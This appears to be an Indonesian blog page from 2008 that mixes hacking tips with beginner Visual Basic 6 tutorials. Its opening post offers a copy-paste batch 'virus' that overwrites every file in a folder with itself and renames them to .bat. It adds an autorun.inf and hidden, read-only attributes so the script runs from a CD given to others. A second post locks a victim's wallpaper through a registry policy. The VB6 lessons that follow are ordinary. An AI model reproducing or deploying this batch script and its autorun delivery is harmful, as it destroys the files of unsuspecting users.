Minggu, 21 September 2008
Buat virus pake notepad
Buat kamu-kamu yang pengen buat viruz, ne gue punya ilmu dikit..
Loe tinggal copy paste ne source,,
Terserah loe mo pake apa,kalau gue sih pake notepad...
FOR %%R IN (*.*) DO COPY %0 "%%R"
REN *.* *.BAT
- Lalu loe SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- Terusa loe buat deh Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- Lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- Sekarang loe nikmati efeknya
Wallpaper Abadi
Wallpaper yang ga sreg di hati seseorang biasanya akan membuat orang itu mengubah.
Agar wallpaper yang telah ditentukan tidak diubah-ubah oleh temanmu, neh gue punya caranya:
1. Klik [Start]>[Run...] lalu ketik regedit.
2. Masuklah ke subkey HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies.
3. Klik [Edit] > [New] > [Key] untuk membuat subkey baru dan beri nama ActiveDesktop.
4. Klik kanan di jendela bagian kanan, lalu klik [New] > [DWORD Value].
5. Bernama DWORD value baru dengan nama NoChangingWallpaper.
6. Isikan value data-r\ya dengan 1.
7. Keluar dari Registry Editor dan restart Windows untuk merasakan perubahan.
Mengenal Data dan Variabel
Visual Basic 6 mengenal beberapa type data, antara lain :
- String adalah type data untuk teks (huruf, angka dan tanda baca).
- Integer adalah type data untuk angka bulat.
- Single adalah type data untuk angka pecahan.
- Currency adalah type data untuk angka mata uang.
- Date adalah type data untuk tanggal dan jam.
- Boolean adalah type data yang bernilai TRUE atau FALSE.
Data yang disimpan di dalam memory komputer membutuhkan sebuah wadah. Wadah inilah yang disebut dengan VARIABEL. Setiap variabel untuk menyimpan data dengan type tertentu membutuhkan alokasi jumlah memory (byte) yang berbeda.
Variabel dibuat melalui penulisan deklarasi variabel di dalam kode program :
Dim
Contoh : Dim nama_user As String
Aturan di dalam penamaan variabel :
- Harus diawali dengan huruf.
- Tidak boleh menggunakan spasi. Spasi bisa diganti dengan karakter underscore (_).
- Tidak boleh menggunakan karakter-karakter khusus (seperti : +, -, *, /, <, >, dll).
- Tidak boleh menggunakan kata-kata kunci yang sudah dikenal oleh Visual Basic 6 (seperti : dim, as, string, integer, dll).
Sebuah variabel hanya dapat menyimpan satu nilai data sesuai dengan type datanya. Cara mengisi nilai data ke dalam sebuah variabel :
Contoh : nama_user = “krisna”
Untuk type data tertentu nilai_data harus diapit tanda pembatas. Type data string dibatasi tanda petikganda : “nilai_data”. Type data date dibatasi tanda pagar : #nilai_data#. Type data lainnya tidak perlu tanda pembatas.
Sebuah variabel mempunyai ruang-lingkup (scope) dan waktu-hidup (lifetime) :
- Variabel global adalah variabel yang dapat dikenali oleh seluruh bagian program. Nilai data yang tersimpan didalamnya akan hidup terus selama program berjalan.
- Variabel lokal adalah variabel yang hanya dikenali oleh satu bagian program saja. Nilai data yang tersimpan didalamnya hanya hidup selama bagian program tersebut dijalankan.
Variabel yang nilai datanya bersifat tetap dan tidak bisa diubah disebut KONSTANTA.
Penulisan deklarasi konstanta di dalam kode program :
Const
Contoh : Const tgl_gajian As Date = #25/09/2003#
Pengertian Metode dan Event
Metode
Bahwa jalannya program dapat diatur sesuai aplikasi dengan menggunakan metode pemrograman yang diatur sebagai aksi dari setiap komponen. Metode inilah tempat untuk mengekpresikan logika pemrograman dari pembuatan suatu prgram aplikasi.
Setiap komponen dapat beraksi melalui event, seperti event click pada command button yang tertulis dalam layar script Command1_Click, atau event Mouse Down pada picture yang tertulis dengan Picture1_MouseDown. Pengaturan event dalam setiap komponen yang akan menjalankan semua metode yang dibuat.
Dibawah ini merupakan beberapa macam event yang dapat diaktifkan oleh pemakai program :
- Event Untuk Mouse
Click
Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse dengan cepat saat pointer mouse berada di atas sutu control.
DblClick
Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse sebanyak dua kali dengan cepat tanpa memindahkan posisi pointer mouse.
MouseDown
Event ini terjadi apabila pemakai program hanya menekan dan menahan tombol kiri mouse.
MouseUp
Event ini terjadi apabila pemakai program melepas tombol kiri mouse.
MouseMove
Event ini terjadi apabila pemakai program hanya memindahkan mouse tanpa menekan tombolnya.
- Event Untuk Keyboard
KeyPress
Event ini terjadi apabila sebuah tombol keyboard ditekan. Untuk menyatakan jenis tombol keyboard yang ditekan maka digunakan kode ASCII.
KeyDown
Event ini terjadi apabila pemakai program menekan dan menahan sebuah tombol keyboard.
KeyUp
Event ini terjadi apabila pemakai program melepas sebuah tombol keyboard.
Penggunaan Procedure
1. Apa itu Procedure ?
Procedure adalah blok kode program yang berisi perintah-perintah untuk mengerjakan tugas tertentu. Bila di dalam kode program yang kita buat ada perintah-perintah untuk melakukan tugas yang sama di beberapa tempat, maka akan lebih baik perintah-perintah tersebut dibuat dalam sebuah procedure. Kemudian, procedure itu bisa di-‘panggil’ bila diperlukan.
Penggunaan procedure sangat menghemat penulisan kode program, karena kode-kode program yang sama dibeberapa tempat cukup dibuat pada satu bagian saja. Selain itu, procedure akan memudahkan perbaikan kode program bila terjadi perubahan atau kesalahan, karena perbaikan cukup dilakukan pada satu bagian saja.
2. Jenis-jenis Procedure
Pada VB6 ada 4 jenis procedure, yaitu :
- Procedure Sub – procedure yang tidak mengembalikan nilai setelah ‘tugas’-nya selesai.
- Procedure Function – procedure yang mengembalikan nilai setelah ‘tugas’-nya selesai.
- Procedure Event – procedure untuk suatu event pada sebuah object. Digunakan di dalam class module.
- Procedure Property – procedure untuk mengubah (let) atau mengambil (get) nilai property pada sebuah object. Digunakan di dalam class module.
Langkah Untuk Membuat Suatu Program Atau Aplikasi
Berikut adalah langkah – langkah untuk membuat sebuah program menggunakan Visual Basic 6 :
Langkah 1 adalah Merancang Tampilan Program
Setelah Visual Basic diaktifkan, Visual Basic akan menampilkan proyek dengan nama Project1. Di dalam Project1 terdapat form dengan nama Form1. Sekarang tempatkan beberapa control pada Form1, dengan cara sebagai berikut :
- Klik dua kali control Label pada ToolBox. Label tersebut akan ditampilkan ditengah-tengah Form1 sebagai Label1. Klik dan tahan label tersebut kemudian pindahkan dengan menggeserke posisi kiri atas dari Form1.
- Dengan cara yang sama, tambahkan lagi sebuah label di bawah Label1. Label ini akan ditampilkan Label2.
- Terakhir klik dua kali control CommandButton. Tempatkan CommandButton1 ke posisi kanan paling bawah dari Form1.
Langkah 2 adalah Mengatur Properti
1. Atur property project, dengan cara:
- Klik Project1 pada jendela Project, kemudian tekan tmbol F4 untuk mengaktifkan jendela Properties. Klik dua kali property Name kemudian ketikkan PrjContoh.
2. Atur Properti Form, dengan cara :
- Klik area Form1, tekan tombol F4 untuk mengaktifkan jendela Properties. Klik dua kali property Name kemudian ketikkan FrmContoh.
- Klik BorderStyle, atur menjadi 1-FixedSingle.
- Klik property Caption, lalu ketikkan Contoh Program.
3. Atur property Label1 dan Label2, dengan cara :
- Klik Label1, kemudian atur property Name menjadi lblselamat, property Caption menjadi Selamat Menggunakan dan property Autosize menjadi True.
- Atur property Font, dengan pilihan Font : MS Sans Serif, Font style : Reguler dan Size 12.
- Klik Label2, kemudian atur property Name menjadi lblvb6, property Caption menjadi Visual Basiz 6 dan property Autosize menjadi True.
- Atur property Font, dengan pilihan Font : MS Sans Serif, Font style : Reguler dan Size 12.
4. Atur property Command1, dengan cara :
- Klik Command1, kemudian atur property Name menjadi cmdclose dan property Caption menjadi Close.
Langkah 3 adalah Mengetikan Kode Program
Untuk mengetikkan kode program, lakukan dengan cara klik dua kali Command1 (Command Close) kemudian kettikan kode program berikut :
Private Sub cmdclose_Click()
Unload Me
End Sub
Langkah 4 adalah Menjalankan dan Menghentikan Program
- Untuk menjalankan program, anda dapat melakukannya dengan menekan tombol F5 atau dengan mengklik tombol Start.
- Untuk menghentikan program, anda dapat melakukannya dengan cara menekan tombol End.